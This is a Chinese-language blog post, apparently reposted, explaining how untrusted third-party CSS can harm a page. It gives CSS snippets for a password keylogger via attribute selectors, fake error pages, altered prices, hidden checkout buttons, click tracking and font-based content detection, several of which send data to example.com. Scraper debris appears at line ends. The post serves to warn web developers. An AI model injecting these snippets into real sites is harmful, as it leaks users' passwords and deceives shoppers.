做者:Yeaseonphp
Blog: yeaseonzhang.github.io/css
原文連接:查看原文html
爲了實現高效開發,大多數時候會選擇別人實現好的庫/組件引用到本身的項目中,可是這樣真的安全嗎?git
大多數web開發者認爲只要不使用別人的 JS
,安全就會有保證。Too young, too naive,卻不知「黑客」已經開始在 CSS
上作手腳了。github
在瀏覽器設置中用戶能夠禁用 JS
,可是 CSS
倒是沒有辦法禁用的。web
首先聊一聊使用第三方資源,可以形成的危害。瀏覽器
<img src="https://img.com/phone.jpg">
複製代碼
引用第三方圖片資源,可能會出現2個問題:安全
上圖展現了使用第三方圖片可能帶來的後果,即便圖片資源失效、或者圖片資源被替換,只會影響圖片自身的狀態而不會影響頁面其餘部分。服務器
<script src="http://example.com/script.js"></script>
複製代碼
腳本的做用範圍就不是圖片可以比擬的了,腳本可以隨意控制整個頁面。cookie
cookie
作請求,並轉發響應storage
注:由於 localStorage
是持久存儲, 因此若是 localStorage
被更改,即便刪除了腳本,這些更改仍然不可逆。
只有在信任第三方的狀況下,纔會選擇加載第三方腳本,來保證用戶訪問的安全性。
下面來介紹本文的重頭戲 --- 第三方 CSS。
CSS 在做用範圍的方面更加接近於 JS,由於它一樣能在整個頁面生效,也能完成部分 JS 的操做。
CSS 能在如下幾個方面對頁面進行操做:
與 JS 相比,CSS 不能作到的是修改 storage
,也不能用來挖礦。
鍵盤記錄器,指的是頁面會記錄用戶的輸入。目前這種行爲只存在於使用 React / 類React 框架的頁面。
input[type="password"][value$="p"] {
background: url(//example.com/password?p);
}
複製代碼
若是密碼輸入框,輸入以 p
結尾的密碼,就會發起一個 //exaple.com/password?p
請求。瀏覽器默認不會記住 input
輸入框的輸入,這也就是爲何說這種行爲只存在於使用 React / 類React 框架的頁面中,下面截取兩個例子。
若是沒有使用 React / 類React 框架,輸入框的內容不會在 input
標籤中顯示 value
屬性。
某圖片網站使用的是 React 框架,會把輸入框的內容同步顯示在 input
的 value
屬性中。這樣 CSS 屬性選擇器 [value$="p"]
就能檢測用戶輸入,從而致使用戶輸入被第三方捕獲。
有沒有經過這個例子,以爲 CSS 比你想象的強大的多,失控的 CSS 也能對頁面形成很大的危害。
經過一些技巧,將真正的頁面內容不展現給用戶。
body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
}
複製代碼
上例將真正的主體內容隱藏,展現給用戶 HTTP 500 錯誤,讓用戶誤覺得是網站服務器出現了問題。
一樣能夠展現任意 HTTP 錯誤給用戶,網頁的常見錯誤有如下幾種:
.price-value::after {
content: '9';
}
複製代碼
爲價格樣式,增長 :before
/ :after
這樣的僞元素,而後僞元素的 content
屬性中增長任一位數字,商品價格就增長了約10倍。
商品漲價了誒,估計連賣家都不知道。遇到這種狀況用戶通常都不會產生購買慾望了。
.move-purchase-button {
opacity: 0;
position: absolute;
top: 100px;
left: 100px;
}
複製代碼
經過 opacity
將 結算按鈕 的透明度設置爲100%隱藏元素,讓用戶不可見,可是依然佔據空間。而後再經過一個絕對定位,這樣 結算按鈕 原本佔據的空間就脫離普通流,而且將按鈕移動至用戶點擊不到的位置;一樣上述的 CSS 也可使用簡單的 display: none;
去隱藏按鈕。
遇到上述狀況,用戶根本沒辦法完成購買行爲,這種狀況對電商網站很傷,致使「只能看不能買」。
.login-button:hover {
background: url('//example.com/login-button-hover');
}
.login-button:active {
background: url('//example.com/login-button-active');
}
複製代碼
經過上面的代碼,能夠用來檢測用戶在登陸按鈕的交互狀態,是 hover
仍是 active
(點擊),不一樣的狀態會發送不一樣的請求。
若是頁面中適量增長相似 CSS
代碼,能夠用來作 用戶畫像 分析。
固然也能夠用來作簡單連接埋點,記錄某個連接的點擊。
.link:active::after {
content: url('//example.com/link-1/view/count.php?action=visit');
}
複製代碼
font-face {
font-family: blah;
src: url(//example.com/page-contains-q) format('woff');
unicode-range: U+71;
}
html {
font-family: blah, sans-serif;
}
複製代碼
僞造一種字體 blah
,若是頁面中有在 unicode-range
範圍內的字符就會發送設置好的請求,咱們這裏例子是字符 q
。
注:@font-face
中的請求會在開發控制檯的 Network -> font 類型中看到。
也許你以爲只能檢測頁面中的單個字符做用很小,那我給你介紹一個css的新屬性 font-variant-ligatures
,經過這個屬性咱們能夠設置字符爲連字效果。
可是目前只有 OpenType 字體支持連字效果,不一樣的 OpenType 字體連字顯示的效果也不一致。
啓用連字效果
body {
font-feature-settings: "liga" 1;
}
supports (font-variant-ligatures: common-ligatures) {
body {
font-feature-settings: normal;
font-variant-ligatures: common-ligatures;
}
}
複製代碼
所有都設置完成以後,咱們就能夠檢測特定的連字字符。好比 ff 連字的unicode碼就是 \ufb00
。
查詢 unicode 碼對應哪些字符,能夠經過 Unicode® character table (https://unicode-table.com/en/) 進行查詢。
經過以上的幾個 CSS 的例子,你是否是以爲 CSS 也一樣強大,不授信的 第三方 CSS 也不可輕易採用。
總結一下,本身的 CSS,還得本身寫。。。
更多內容請關注咱們團隊的公衆帳號「全棧探索」。按期會有好文推送,滿滿的乾貨。